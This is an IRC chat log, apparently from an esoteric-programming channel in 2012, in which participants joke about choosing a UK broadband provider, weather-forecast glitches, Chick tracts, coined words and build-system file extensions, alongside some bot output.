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19:17:34 <fizzie> "3.3: I've experimented with the code int i = 3; i = i++; on several compilers. Some gave i the value 3, and some gave 4. Which compiler is correct?" "A: There is no correct answer; the expression is undefined. See questions 3.1, 3.8, 3.9, and 11.33."
19:19:17 -!- nortti has joined.
19:20:06 <elliott> fizzie: Which is best: AAISP, Zen, or Xilo?
19:22:35 <fizzie> They all have their pros and cons. Xilo sounds like a Linux bootloader the most, but it also has some vaguely scientologey Xenu connotations. Zen is just one letter from "zem", but it's *also* not far from Xenu. Finally, AAISP turns all your website graphics into ascii art using AAlib.
19:24:54 <oerjan> stay away from AIISP, it's trying to take over the world.
19:25:08 <elliott> fizzie: What about Sky? How does THAT fit into the picture?
19:25:14 <elliott> N.B. appending "net" will be boring.
19:25:53 <oerjan> don't use those, they tend to terminate you at the slightest provocation.
19:28:09 <nortti> what are those? Quick googling did't reveal anything worth a value
19:28:30 <elliott> I'm, how do the kids call it: "switching".
19:29:07 <elliott> fizzie: Thanks. That's the most helpful yet.
19:29:45 <fizzie> It's like being Red, except about a 120 degrees to the left.
19:29:54 <shachaf> Next time I need to make a decision, I'll possibly ask fizzie about it.
19:30:03 <elliott> RocketJSquirrel: Does Google run JS?
19:30:35 <Phantom_Hoover> Wait why does elliott even control his household broadband,.
19:31:04 <oerjan> Phantom_Hoover: you don't _really_ think a 16 year old can be that smart, do you?
19:31:57 <shachaf> elliott's been saying that he's 16 for several years now, fizzie. How could you forget?
19:32:05 <oerjan> obviously he's really 34.
19:32:25 <elliott> Phantom_Hoover: It's quite easy to control the broadband supplier if you have a monopoly on tech support.
19:32:27 <fizzie> No, I just mean, last time I recall it being discussed, a while ago, it was something like one. Or maybe minus one. Anyway, less than that.
19:32:36 <elliott> fizzie: I had a few birthdays.
19:32:48 <fizzie> I guess you must have! What, four per year or something?
19:32:56 <Phantom_Hoover> elliott, I know a guy in real life whose dad is an IT security specialist.
19:33:07 <elliott> Phantom_Hoover: That guy probably does not control his broadband supplier.
19:33:25 <Taneb> I know a guy in real life whose dad is a PROFESSOR OF COMPUTER SCIENCE
19:33:31 <elliott> Anyway, the current supplier wants a new 12 month contract signed.
19:33:36 <Taneb> That doesn't have much to do with anything
19:33:37 <elliott> But they let slip that we have ADSL2 now.
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19:34:59 <shachaf> fizzie: What did I do to deserve elliott's wrath?
19:35:42 <Phantom_Hoover> <fizzie> I guess you must have! What, four per year or something?
19:36:00 <Phantom_Hoover> Silly fizzie, you're confusing old person years with proper years.
19:36:03 <nortti> shachaf: what is wrong with ADSLZ
19:36:37 <shachaf> The A is what's wrong with it.
19:36:37 <fizzie> I think I was sort of the primus motor for our "Personal EUnet" dialup in... 1996? Though strictly as an advising party.
19:37:23 <fizzie> Yeah, VDSL2 is a lot better; it's equally asymmetric, but at least it doesn't have that unsightly A.
19:37:24 <nortti> I hate android onscreen keyboard.Too easy to make typos
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19:38:24 <fizzie> ∀DSL, the universal DSL.
19:40:05 <nortti> Is there something wrong with surfing the net using HSCSD?
19:43:09 <fizzie> Not if you're very patient?
19:43:53 <fizzie> I guess depending on contracts and such possibly you may also need to be rich.
19:45:18 <nortti> HSCSD is circuit switched data over GSM networks, preceding the packed switched GPRS
19:45:57 <elliott> thank you for that information, i'm sure fizzie didn't know
19:46:09 <fizzie> It's also not exactly fast (thus patient), and might cost a lot more than GPRS (thus rich).
19:47:33 <fizzie> I vaguely recall someone saying with his GSM contract, HSCSD was a lot cheaper than packet data, though.
19:47:58 <nortti> I have unlimited calls with fixed price and HSCSD is counted as normal call
19:49:25 <nortti> People that know what it means usualy give me weird looks when I explain to them that my Nokia 9210 is connecting using HSCSD
19:49:49 <fizzie> Yes, something like that. It doesn't always count as a regular call, though; it didn't in some pre-GPRS days.
19:50:18 <fizzie> Also this five-day forecast for Helsinki is saying that it's going to be 32700°C "warm" starting from Saturday.
19:51:01 <nortti> is sun starting to expand already?
19:51:37 <elliott> fizzie: Well, that *is* warm.
19:52:07 <Taneb> You know the time when I went to the UV rave, fell asleep, and dreamt of lambda calculus?
19:52:13 <fizzie> The sun/cloud/rain/whatever icon is also the broken picture image.
19:52:40 <elliott> fizzie: I think you should evacuate.
19:52:42 <Taneb> Apparently someone slapped me really hard
19:52:47 <Taneb> And I didn't feel a thing
19:52:54 <Taneb> (I was completely sober)
19:53:03 <oerjan> fizzie: they probably swapped it with the alderaan forecast
19:53:17 <Taneb> oerjan, nah, that was a long time ago
19:55:10 <oerjan> Taneb: Y-1000000000 error?
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19:57:07 <oerjan> fizzie: mind you if 32700°C is itself an overflow error, you may want to prepare for -68°C temperature
19:58:44 <fizzie> They did warn about cold nights, earlier.
19:58:55 <oerjan> `frink 72 degrees fahrenheit -> degrees celsius
19:59:10 <HackEgo> Warning: undefined symbol "fahrenheit". \ Warning: undefined symbol "celsius". \ Warning: undefined symbol "celsius". \ Warning: undefined symbol "celsius". \ Warning: undefined symbol "fahrenheit". \ Warning: undefined symbol "celsius". \ Unconvertable expression: \ 1.2566370614359172952 fahrenheit (undefined symbol) -> 0.017453292519943295767 celsius (undefined symbol)
19:59:27 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: sanetemp: not found
19:59:36 <elliott> oerjan: that's not how you do temp conevrsions with frink
19:59:39 <elliott> since the conversion isn't linear
20:00:27 <Taneb> That's awfully precise
20:00:41 <Taneb> Depending on your point of view
20:00:57 <oerjan> there _is_ an exact conversion factor, so...
20:01:28 <Taneb> I meant the long stream of 2
20:01:43 <fizzie> oerjan: Speaking of weather, our Norway trip is fast approaching, while you people are being all "men i øyeblikket ser det ut for at Lofoten får snøpåske". I don't want to drive in snow. :/
20:03:55 <fizzie> Couldn't you, I don't know, do something about it? Turn up the heat or something?
20:04:55 <nortti> fizzie: what does snøpåske mean. I think snø means snow, but what does påske mean?
20:06:21 <elliott> fizzie: ISP expert: I forget, is there any reason to go for an LLUing ISP over one that doesn't if they're otherwise equal? ISTR that the LLU lines are generally less crappy.
20:09:52 -!- nortti has quit (Quit: nortti).
20:10:29 <oerjan> no, påske is this time when we close norway for foreigners because we want all the snow to ourselves. sorry.
20:11:01 <fizzie> Well, that sounds feasible, though I really don't know. I mean, it sounds like more of an administrative/policy thing than an actual technical difference.
20:11:37 <elliott> fizzie: I know, I know. I just hear all about "oh, so-and-so-big-ISP's BT services are absolutely awful, traffic shaping and all of that, but nobody on LLU complains".
20:12:52 <fizzie> I guess it's certainly possible. But I hope you're not expecting anything more useful than the sky-is-blue comment.
20:14:26 <elliott> fizzie: Here's the secret: I AM
20:16:09 <fizzie> Well, okay, here's something. If you get a LLU thing, and then laugh a lot, you'll get a natural high. Since you're going all HA and LLU. At least that's the word at the water cooler. (Isn't that a thing they say? I think that's a thing they say.)
20:17:01 -!- Taneb has left ("Leaving").
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20:22:14 <Taneb> Apparently, I provide an alternative male perspective
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20:23:49 <oerjan> Taneb: that's just what the girls say to be polite
20:24:11 <Taneb> It's in my school report
20:26:20 <monqy> what is an alternative male perspective
20:26:27 <elliott> who doesn't offer an alternative male perspective
20:27:32 <Taneb> I believe it's because I'm the only male in a class studying Ovid's Amores
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20:34:41 <elliott> fizzie: Can you explain sheep?
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20:37:15 * oerjan seems to recall he once was the only male in a dancing class. there was another one, but he dropped out.
20:37:35 <Taneb> This could be the first piece of music I've heard and actively disliked in MONTHS
20:39:59 <elliott> oerjan: whats th best uk isp
20:40:05 <Taneb> I may even give it a thumbs down on Youtube
20:42:44 <oerjan> elliott: virgin, because space.
20:44:04 <Taneb> As someone with significant interest in BA, go with virgin
20:44:27 <oerjan> (1) virgin is a uk isp (2) virgin is a spaceflight company (3) ALL YOUR OBJECTIONS TO (1) AND (2) ARE IRRELEVANT
20:45:06 <Taneb> (3) virgin is an airline
20:45:12 <Taneb> (4) virgin is a bank
20:45:26 <Taneb> (5) virgin is a mobile network
20:45:28 <oerjan> (3) IS ALREADY TAKEN YOU DOLT
20:45:33 <elliott> http://revk.www.me.uk/2012/03/getting-out-of-hand.html I like AAISP's style, complaining about their problem customers on a blog
20:45:45 <Taneb> (6) now there are three threes
20:45:58 <oerjan> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
20:46:40 <elliott> http://revk.www.me.uk/2012/03/levelling.html
20:46:52 <elliott> Phantom_Hoover: Talk me out of buying internet service from a company managed by someone who plays WoW.
20:46:58 <elliott> It is going to be so difficult for you
20:47:14 <fizzie> elliott: Also an XKCD fan, right?
20:48:08 <oerjan> fizzie: good counterargument
20:48:13 <elliott> http://revk.www.me.uk/2012/03/bad-timing.html Also complaining about his brother complaining about his ISP's service on his blog.
20:48:53 <oerjan> that's how it goes, you join because he's a geek just to find he's actually drepper.
20:50:04 <fizzie> oerjan: Is that like "a drepper"?
20:50:15 <fizzie> Is it a noun like that.
20:50:51 <fizzie> Do the carpets match the drepper?
20:51:12 <oerjan> they're blood red, so yes
20:51:33 <oerjan> (note: that's blood as in die, not dye)
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20:53:49 * oerjan wonders if there's a list of most frightening real geeks somewhere
20:54:55 <elliott> fizzie: Can you figure out this LLU thing? :(
20:59:45 <fizzie> I suppose if you get a "techie" ISP it works better if they get more unfettered access to deliver your bits instead of just purchasing bit-delivery services (using their DSLAMs and whatever) from whoever does your local telephone lines badly. But who am I to know? Does your area get any fancy FTT<something>s?
21:00:17 <oerjan> elliott: http://revk.www.me.uk/2010/09/copyright.html seems rather disturbing
21:02:04 <elliott> fizzie: I think we're meant to get FTTCabinet sometime "soon".
21:02:11 <elliott> fizzie: It's kind of: rural.
21:02:16 <elliott> Taneb: What ISP do *you* use?
21:02:40 <elliott> fizzie: Also, "whoever"? It's just BT.
21:02:41 <Taneb> If TalkTalk's an ISP, then that one
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21:05:41 <elliott> I guess I'll go with either Sky, AAISP or Zen.
21:07:20 <elliott> Taneb: *BSkyB, yes. They're cheap since we already have their TV service, and don't throttle or shape traffic.
21:07:30 <elliott> So they're the only big ISP I'm considering.
21:08:11 <Taneb> The only reason I don't like them is the same reason I don't like the Times, and I read the Tiems
21:08:36 <elliott> Is that reason: News Corporation?
21:09:47 <Taneb> I'm afraid of huge multi-faceted corporations
21:09:52 <Taneb> But I still use them
21:10:01 <Taneb> Because imagine not using them
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21:12:38 <zzo38> In the Dungeons & Dragons there was a maze of walls that you can stand on top of; below that is a hole. There is a light in one place, and is otherwise too dark to see the entire maze. Luckily the maze had no illusions and was not rotating! (I suggested next time he make up the campaign with the maze that is also rotating and has illusions in it.)
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21:22:21 <elliott> "Be have targets for loss and latency and jitter in their network making it clear that they are prepared to operate an uncongested network. BT do not."
21:29:00 <elliott> fizzie: Apparently A&A bill... lunarly.
21:29:01 <elliott> "Lunar monthly: Invoices are issued each full moon for the period to the day before the next full moon. Prices are based on 97% of our monthly rate for each lunar cycle."
21:29:20 <elliott> "For lunar billing, lunar months are considered 29 or 30 days based the full moon being the first day of the lunar month, and so each day is 1/29th or 1/30th of its lunar cycle."
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21:32:04 <fizzie> That's a clear pro in my book.
21:32:05 -!- larsrh has joined.
21:33:01 <fizzie> Is the 97%-per-lunar-cycle a better or a worse deal than a calendar month price in the long run?
21:33:07 <HackEgo> larsrh: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
21:35:59 <zzo38> Instead of counting the days, you could change it to payment at every new moon, which allows you to use a chart like this one to determine when to pay: http://zzo38computer.cjb.net/img_14/chinese-new-year.png
21:36:33 <elliott> fizzie: I don't like how much less you get in peak time, though. That's pretty much the only thing keeping me from going with AAISP. :(
21:37:24 <elliott> (A unit gets you 2.5 gigs 9am-6pm mon-fri but 50 gigs at all other times except 2am-6am which is 1000 gigs.)
21:40:27 <zzo38> If you set the harmonic factor to 2, then the lines will cross at both the full moon and at the new moon. But if you could instead plot Moon+180 degrees in a harmonic factor 1, the lines would cross at only the full moon, but Astrolog has no such feature.
21:41:35 <elliott> fizzie: That's weird, right? :'(
21:51:48 <fizzie> It does sound kinda weird, yes.
21:55:30 <zzo38> I have used the timed exposure feature of Astrolog to plot both the first harmonic and second harmonic in different colors on the same page.
21:55:40 <elliott> fizzie: Can you lend me some of your Finnish gigabytes/
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22:24:10 <elliott> RocketJSquirrel: which is best uk isp thx
22:24:42 <lambdabot> http://www.ispreview.co.uk/talk/showthread.php/30936-The-worst-UK-ISP-we-ve-come-across-Lumison
22:26:41 <shachaf> What's so great about Britain, anyway?
22:27:10 <monqy> great's just there to distinguish it from not so great britain
22:27:31 <ion> Little Britain
22:29:20 <shachaf> monqy: Which Britain does elliott live in?
22:30:48 <shachaf> monqy is the most fun person to say "hi" to.
22:37:11 <elliott> monqy: What's the best UK ISP?
22:37:25 <monqy> I have absolutely no clue
22:37:43 <monqy> @google best uk isp
22:37:46 <lambdabot> Title: ISPreview UK - Top ISP Internet Service Provider Information Site
22:38:16 <elliott> I'm already using that site. :'(
22:38:41 <elliott> I really want to go with AAISP, but that peak time unit allowance is just awful.
22:39:32 <lambdabot> http://www.bbc.co.uk/webwise/guides/choosing-an-isp
22:39:32 <lambdabot> Title: BBC - WebWise - What’s the best internet service provider (ISP) for me?
22:39:43 <shachaf> elliott: The BBC is good, right?
22:40:06 <shachaf> British Broadcasting Corporation.
22:40:59 <elliott> fizzie: You didn't answer me :'(
22:55:30 <elliott> monqy: Can you buy me some units?
22:57:35 <elliott> Anonymous plans to shut down The Internet on Saturday to protest SOPA (pastebin.com)
22:57:50 <elliott> anonymous plans to DESTROY ENTIRE PLANET to protest sopa
22:58:08 <elliott> anonymous plans to DECONSTRUCT ALL MATTER IN THE UNIVERSE to protest sopa
22:59:25 <elliott> they plan to shut the internet down by ddosing the root servers
23:00:36 <zzo38> Do you like my Chinese New Year chart? You can make up a chart like this for other years too.
23:04:22 <olsner> damnit, why is it trying to use 't as a function?
23:04:31 <elliott> olsner: WHAT IS THE BEST UK ISP
23:04:39 <oerjan> the root servers need a stress test anyway, for when someone _really_ malicious shows up.
23:06:17 <elliott> oerjan: ok i know you're a bit slow being norwegian and all but the joke is that the root servers are literally being constantly ddosed forever hth please let me know if there is any further misunderstanding
23:07:23 <elliott> so i heard Mathnerd314 uses windows
23:07:58 <Mathnerd314> elliott: yes, I'm too lazy to install something else
23:08:19 <elliott> oerjan: your edit to [[Deadfish]] made the instructions *harder* to read...
23:09:57 <oerjan> elliott: hey if anonymous manages to ddos them noticeably more, more power to them!
23:10:59 <olsner> nice, the average function name length in this stack trace is 41k
23:17:20 <olsner> maybe I should try some more smaller things before expecting a metacircular lisp evaluator to work :)
23:17:38 <oerjan> elliott: conglomerated limited obfuscated great old transsubstantial communications unlimited
23:19:06 <elliott> well, if Murdoch's involved...
23:19:15 <olsner> running my existing test suite of lisp expressions through the (compiled) metacircular evaluator gave me 0 passed tests...
23:21:52 <oerjan> elliott: this deadfish table better?
23:22:04 <elliott> oerjan: XKCD is lowercase. also i saw it before you said that
23:22:22 <elliott> (but lwoerowercoiajsoerjiojoajiser is beter ? ) ( * ( )
23:23:21 <oerjan> elliott: i have not changed the case of that
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23:30:41 <zzo38> I like the XKCD variation of Deadfish because it allows to make it working in dc, which is probably not what the person who invented the XKCD variation was thinking of anyways.
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00:25:45 <elliott> RocketJSquirrel: More like ShitroCC
00:27:38 <calamari> I had a stupid idea yesterday.. target bash with gcc
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00:29:56 <calamari> okay whatever key combo that was I need to disable
00:31:21 <elliott> RocketJSquirrel: More like shitrogic.
00:31:39 <calamari> that problem with my plan was I'd have to figure out how to handle libraries
00:33:09 <calamari> also I wonder if bash imposes any arbitrary limits that would mess me up
00:33:27 <lambdabot> Local time for elliott is Thu Mar 29 01:33:29
00:34:05 <lambdabot> Local time for oerjan is Thu Mar 29 02:33:41 2012
00:35:01 <elliott> oerjan: what's it like in 2012
00:35:04 <elliott> do you know what the best uk isp is yet
00:35:14 <lambdabot> Local time for monqy is Wed Mar 28 17:34:49 2012
00:35:23 <monqy> being in a year sure is swell
00:35:47 <oerjan> elliott: i hear it might pick up around december.
00:35:59 <elliott> does monqy know what the best uk isp is yet
00:36:20 <oerjan> it turns out that ...dun dun dun... _no one_ knows
00:36:24 <monqy> it may very well be a mystery of life
00:37:20 <elliott> maybe the best uk isp is eternal oblivion
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00:39:40 <elliott> monqy: how is breathing accomplished
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00:41:14 <monqy> have you considered getting a robot to breathe for you
00:42:28 <monqy> no i have to breathe for myself
00:43:03 <oerjan> you can also try gills
00:45:09 <oerjan> well you attack them to your bloodstream, i think, and then you swim underwater
00:48:44 <elliott> oerjan: hi, i heard that obsession of the man is one of the most unknown and frightful phenomena, which stops evolutionary development of the man and brings its to full spiritual (and often to physical) death.
00:50:15 <oerjan> except for the "unknown" part, we now have a successful parascientific theory to explain it.
00:50:31 <elliott> http://en.odkk.ru/aura/5b_en.gif
00:50:41 <elliott> i want a tshirt with that on
00:50:42 <lambdabot> Local time for elliott is Thu Mar 29 01:50:44
00:51:24 <oerjan> a tshirt with a rotating picture would be something.
00:52:01 <elliott> ive always wanted innovation. In my life. obsession of the man is one of the most unknown and frightful phenomena, which stops evolutionary development of the man and brings its to full spiritual (and often to physical) death.
00:52:50 <elliott> a bit impossible to die, one thinks
00:53:43 <elliott> oerjan: what happened to jenga.
00:54:43 <oerjan> i don't know this jenga of which you speak.
00:55:16 <elliott> here is some informatione. http://en.wikipedia.org.uk.net.ua/wiki/Jenga http://en.odkk.ru/
00:56:59 <elliott> MOVE TO ARABIA AND DON THE COAT OF A NIGHT OR YOU WILL SUFFER AS ABRAHAM LINCOLN :) hes your friend
00:57:39 <elliott> he was a cow and he started in films so ig uess you could say he was a "moo"vie star
00:59:47 <lambdabot> Local time for elliott is Thu Mar 29 01:59:49
01:02:57 <monqy> does this mean the cows will go
01:06:42 <lambdabot> Local time for elliott is Thu Mar 29 02:06:44
01:06:53 <elliott> im going to do my monthly vulcan prayer, let me know if the dam breaks
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02:16:42 <lambdabot> Couldn't match expected type `GHC.Types.Int'
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02:35:39 <zzo38> Can Wikipedia add a sister project for original research?
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02:45:42 <zzo38> I think [[Real Fast Nora's Hair Salon 3: Shear Disaster Download]] seems similar to [[Bruijndejx]] in some ways? Is it? (Except that Bruijndejx uses I/O actions instead of being like Lazy-K)
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04:25:33 <zzo38> Let's writing thing on this channel please!!!!
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05:02:30 <zzo38> Hello!!!!!!!!!!!!!!!!!
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05:53:59 <oerjan> has @seen worked in years
05:54:16 <shachaf> But preflex isn't in here.
05:59:21 <fizzie> fungot: seen pikhq_ around?
05:59:21 <fungot> fizzie: it's me, dude! i know enough to come to your house, dromiceiomimus, i was going outside! i don't have a very good imagination for that sort of like, a can of food long since unidentifiable... dromiceiomimus and a house and a car in my kitchen and on my kitchen and on my kitchen and on my kitchen and on my kitchen and on my kitchen and on my kitchen and on my kitchen and on my kitchen and on my kitchen and on my kitchen
05:59:54 <fizzie> I think e might be on fungot's kitchen.
05:59:54 <fungot> fizzie: the " hey did i overhear that we're talking?
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06:01:30 <zzo38> How can stars darken the horizon?
06:06:11 <oerjan> by collapsing into black holes, hth
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06:08:26 <zzo38> I made horizontal packaging work in Graphics.DVI now. And then I will make vertical packaging, and page breaks, and paragraphs.
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07:24:09 <ais523> I invented a new word recently
07:24:24 <ais523> because it's missing from English, and I've been needing to use it a lot
07:26:26 <olsner> let me guess, bird is the word?
07:28:14 <ais523> well, I've been writing it down as "provice"
07:28:19 <ais523> although really, syntax is so unimportant
07:29:11 * oerjan didn't think ais523 would be pro-vice
07:29:12 <ais523> and the meaning is to either have some abstract property (typically an ability), or to be capable of making something with that property
07:30:06 <ais523> it's a generalisation of "provide"
07:35:07 * oerjan is reminded of latin causative verbs, in which case he thinks it would be provise/provisate or so
07:36:38 <oerjan> hm is that the term...
07:38:44 <oerjan> oh hm i'm actually thinking of frequentative
07:45:58 <ais523> the Latin word "facere" has a reasonably similar meaning, it's closer than anything in English
07:51:05 <oerjan> hm or german machen, i think
07:51:38 <oerjan> (i recall that somewhat merges en:do/make / no:gjøre/lage)
08:01:57 <zzo38> There are words that English lacks, I know that.
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08:21:14 <ais523> meanwhile: I've traced the random hangs individual programs on this computer have been getting to Compiz, although I'm not sure what specifically it's doing wrong
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08:21:29 <ais523> also, Emacs perl-mode and cperl-mode both suck for editing Perl (for different reasons), and I'm trying Kate perl-mode at the moment
08:21:33 <ais523> which has issues of its own
08:21:47 <ais523> but (apart from not supporting 5.10 syntax) seem Kate-specific rather than mode-specific
08:52:10 <zzo38> The Chick tract "Bewitched" has a picture of a Ouija board with two letters missing, someone juggling drugs (including pills and syringes), a "Astrology Sales" bar chart with at least three things wrong (the title is covering up the data, there is no vertical axis label, and there is nothing saying what the astrological signs on the horizontal axis correspond to)... but every Chick tract has things wrong with it...
08:53:57 <zzo38> In another one, the sun, moon, earth, stars, are just thrown into space by God, and they are all the same size, and the illuminated part of the moon is the side opposite to the sun
08:59:01 <fizzie> The Chick tract "Dark Dungeons" had a footnote attached to the words "occult books", containing: "Including C.S.Lewis and Tolkien, both of which can be found in occult bookstores." The footnote was removed from later versions, including the one currently on the web.
09:02:33 <zzo38> fizzie: I have seen the mention of the version containing that footnote.
09:03:41 <fizzie> Bewitched is hilarious. They have a business meeting about how their world takeover is progressing, all about high-level stuff like One World Government and whatnot, and then out of the blue that one dude goes "I have a very serious trouble spot! I have a praying grandmother... who's fasting. It's out of control!"
09:04:16 <fizzie> I guess that's what they call attention to detail, but *still*. A single praying grandmother.
09:05:57 <zzo38> He says that dragons were eventually renamed to dinosaurs
09:06:40 <zzo38> There are also dissections where they make various comments on each page, although they don't always mention everything.
09:07:21 <fizzie> Dark Dungeons has had quite a few parody versions made, too.
09:07:52 <zzo38> I think I have seen some of the parody versions too
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09:13:51 <NSQX> http://esolangs.org/wiki/UniCode has had no work for four years!
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09:33:58 <fizzie> I vaguely recall seeing also a fan page for Fang, the dog that quite often appears.
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09:46:30 <zzo38> I have noticed that.
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10:08:21 <fizzie> Hrm, there are 1050577 files in my home directory. That sounds a bit much.
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10:09:08 <fizzie> Uh, that is when counting all subdirectories, I mean.
10:09:27 <fizzie> A million files in one directory would be somewhat unmanageable.
10:09:33 <ais523> (that was in ~, but I missed the ~ in my copy)
10:10:22 <ais523> it'd take quite a long time to count that
10:10:27 <ais523> the whole thing, I mean
10:10:51 <ais523> I've done it before now to find out which files are using up too much disk space (gigabytes for stuff I don't care about), because I've been running low
10:11:03 <ais523> and sometimes I have large files I do care about but which I don't access often, so I store them on another partition
10:11:08 <fizzie> It's listed in the rdiff-backup-data/session_statistics.<timestamp>.data file on the backup.
10:11:40 <fizzie> (And "df -i" can tell it if there's a separate /home and no other users; and "quota -v" if quota tracking is enabled.)
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13:24:50 <Taneb> Why do you require help!?
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13:29:05 <elliott> http://en.wikipedia.org/wiki/Template:G-d Is this really permissible?
13:30:13 <Taneb> (note: I can't look at it for just over a week)
13:30:41 <elliott> It's a template whose contents are "God", intended to be used as {{subst:g-d}} by people whose religious beliefs prohibit them from directly typing "God".
13:30:59 <ion> If i had a dog, i’d name him D-g.
13:30:59 <elliott> But I can't see how that's any different from, e.g. copy-pasting it in from elsewhere, which surely isn't permissible either.
13:31:30 <Taneb> elliott, are you a theologist?
13:31:33 <elliott> It's not like keyboards existed in Biblical times -- if the threshold for indirectness is that low, surely the fact that keyboards go through a bunch of electrical signals and translation on the way to the text box would make typing "God" permissible too?
13:31:42 <elliott> Taneb: No. Did you really have to ask?
13:32:19 <Taneb> Seeing as you're younger than me, and from a similar background, and are asking about theology in what is officially a programming channel
13:32:27 <fizzie> How about typing it, key-press-wise, as "d<right-arrow>o<right-arrow>G"?
13:32:33 <elliott> Taneb: It's a technology-ish question!
13:32:38 <elliott> Oh, hmm -- I think it might be intended for writing articles, rather than in conversation.
13:32:50 <elliott> I could see the rules being more lenient there, since you aren't talking to someone, or something.
13:33:43 <fizzie> For some reason the page is not opening to me. Perhaps G-d does not want to show emself to me.
13:34:38 <elliott> "G-d dammit", as they say.
13:34:52 <ion> Doesn’t open for me either.
13:34:54 <elliott> Hmm, the Wikipeds are slow for me too.
13:35:01 <elliott> I think they might be having: technical difficulties.
13:35:25 <elliott> Now it loads. But without CSS.
13:35:30 <elliott> (It = Wikipedia in general.)
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13:41:36 <elliott> Taneb: Yor going to explode,
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13:51:28 <ais523> hey, anyone: what's the file extension for a Makefile fragment?
13:52:33 <elliott> ais523: arguably, .make is better, otherwise mk(1) would have nothing to use
13:52:38 <elliott> but I think .mk is slightly more common
13:52:40 <ais523> I'm trying to work out an appropriate extension for something that serves the same purpose but isn't actually being run by make
13:52:59 <elliott> prepare for Esolang to break, everyone
13:53:08 <ais523> first result was apparently from gcc, which uses leading t- and x- for them
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13:53:48 <elliott> ais523: you know the best thing about Esolang's server setup?
13:53:53 <elliott> whenever I start the PHP daemon, I get
13:53:54 <elliott> *** glibc detected *** /usr/sbin/php5-fpm: free(): invalid pointer: 0xb6c91778 ***
13:53:54 <elliott> ======= Backtrace: =========
13:53:55 <elliott> /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x6e221)[0xb6e6c221]
13:53:55 <elliott> /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x6fa88)[0xb6e6da88]
13:53:55 <elliott> /lib/i386-linux-gnu/i686/cmov/libc.so.6(cfree+0x6d)[0xb6e70b3d]
13:53:55 <elliott> /usr/sbin/php5-fpm(destroy_zend_class+0x228)[0x83192a8]
13:54:02 <elliott> but it somehow starts anyway
13:54:11 <ais523> it may be a launcher script crashing on exit
13:54:19 <ais523> double-frees have a tendency to happen then
13:54:25 <elliott> a launcher script written in C?
13:54:32 <ais523> elliott: this is /PHP/
13:54:36 <ais523> they write everything they can in C, you know
13:54:38 <elliott> oh, it even says that it failed
13:54:44 <elliott> but the daemon gets started anyway
13:55:17 <ais523> actually, C isn't all that implausible, if it couldn't sensibly be written in PHP (due to chicken-and-egg problems)
13:55:34 <ais523> anyway, so far: aimake can figure out how to build makedefs when pointed at the NiceHack source
13:55:49 <ais523> I'll need some config to tell it what to /do/ with it, though :)
13:56:34 <ais523> and it gives you nice output explaining why it couldn't build something, which is pretty interesting
13:56:36 <ais523> it's sort-of upside-down from most build systems
13:57:08 <ais523> I guess I'll use .aimk
13:57:20 <ais523> unlikely to be taken, and has the right sort of implications
14:01:52 <ais523> ooh, Perl actually has a standard-shipped-with-Perl module that, among other things, will tell you things like the extension that executables use on the current OS
14:02:44 <ais523> because /its/ build system needs to know, and it remembers from then
14:03:02 * ais523 will be disappointed if this build system doesn't eventually run on VMS
14:06:22 <elliott> ais523: it's cheating to depend on perl's build system
14:06:27 <elliott> what if perl switches to your system?
14:06:48 <ais523> but my system requires Perl to run, and thus would be a bad idea for Perl's build system
14:06:48 <elliott> you won't be able to cross-compile, anyway
14:07:07 <ais523> I wasn't going to actually use them, probably
14:07:25 <ais523> I was planning to use the one that records the OS that Perl was built for, for use as the default OS if no other is specified
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14:28:39 <elliott> someone added another example to [[fork bomb]] already
14:28:44 <elliott> this is going to be a full-time job
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14:31:12 <elliott> "I've put together what I believe are the final changes for this release, and I think I went with all of your recommended changes." YESSSSSSSS, MY POWER CONTINUES TO GROW STRONGER
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15:30:59 <lambdabot> Local time for elliott is Thu Mar 29 16:31:00
15:34:54 <GhostHand> I bought a Iphone4s spent 5000 yuan
15:36:56 <oklopol> do wait do i divide or multiply by 8
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15:37:17 <oklopol> let's see i'm kind of new to this
15:37:41 <GhostHand> I don't speak English well you will forgive me
15:38:37 <oklopol> you should learn chinese instead, i hear we'll all be speaking chinese in a few years anyway.
15:40:24 <oklopol> my ex tried to learn some chinese
15:40:35 <oklopol> but she didn't really stick to it
15:40:59 <oklopol> i mostly use english and finnish
15:41:06 <GhostHand> In fact, Chinese and Japanese to write about
15:41:56 <oklopol> and you can write japanese you mean?
15:42:23 <oklopol> there was this chinese chick in our japanese class and she was just horrible at it.
15:42:41 <oklopol> yeah i just don't get "In fact, Chinese and Japanese to write about"
15:44:20 <oklopol> do you know any math by any chance?
15:44:44 <GhostHand> In the future I can speak fluent English.
15:45:53 <GhostHand> I learned the programming, but only a little
15:47:43 <GhostHand> I like the programming language is the 'assembly'
15:48:55 <oklopol> i mean if i said i have Z^d acting by continuous automorphisms on a compact metrizable zero-dimensional abelian group which is c.p.e. and the action is expansive, would you be all like hey it's weakly algebraically conjugate to its adjoint
15:50:22 <nortti> GhostHand: What kind of computer do you have?
15:50:26 <oklopol> so about this math thing. do they teach mathematics in china?
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15:51:57 <nortti> nortti: Lenovo Thinkpad? What model? I have heard of Lenovo computers. They are very good quality.
15:53:29 <GhostHand> ThinkPad previously belonged to IBM
15:54:41 <oklopol> all i've heard about asian education in general is that stuff is usually learned by rote. then i went to the japanese class and our japanese teacher is like so here's these letter's let us write the alphabet 100 times so you learn them.
15:55:00 <oklopol> and i was like holy stereotype
15:55:24 <oklopol> the last few of your sentences make sense to me.
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15:55:51 <oklopol> but i notice that you still haven't ELABORATED on the whole math thing.
15:56:12 <GhostHand> I hate Chinese education so I always in the effort, in their own way to learn
15:56:51 <oklopol> you mean you always in the effort, _your_ own way to learn?
15:58:01 <oklopol> might be easier to understand how you form sentences if i knew anything about chinese.
15:59:01 <oklopol> compared to chinese people in general or what do you mean?
16:01:34 <oklopol> i didn't really learn anything from the first three courses or whatever they're called. anyway those CCNA things.
16:02:14 <oklopol> Perpendicular Soup Continent
16:02:50 <oklopol> that's an english idiom that means i'm not sure why you just said three random words.
16:03:15 <oklopol> i hope someone is reading this because my genius is going to waste.
16:03:34 <oklopol> that was my experience as well
16:04:02 <oklopol> well, except that i quickly unlearned everything. so really it was just a waste of time.
16:05:03 <GhostHand> I really want to go to the west to learn
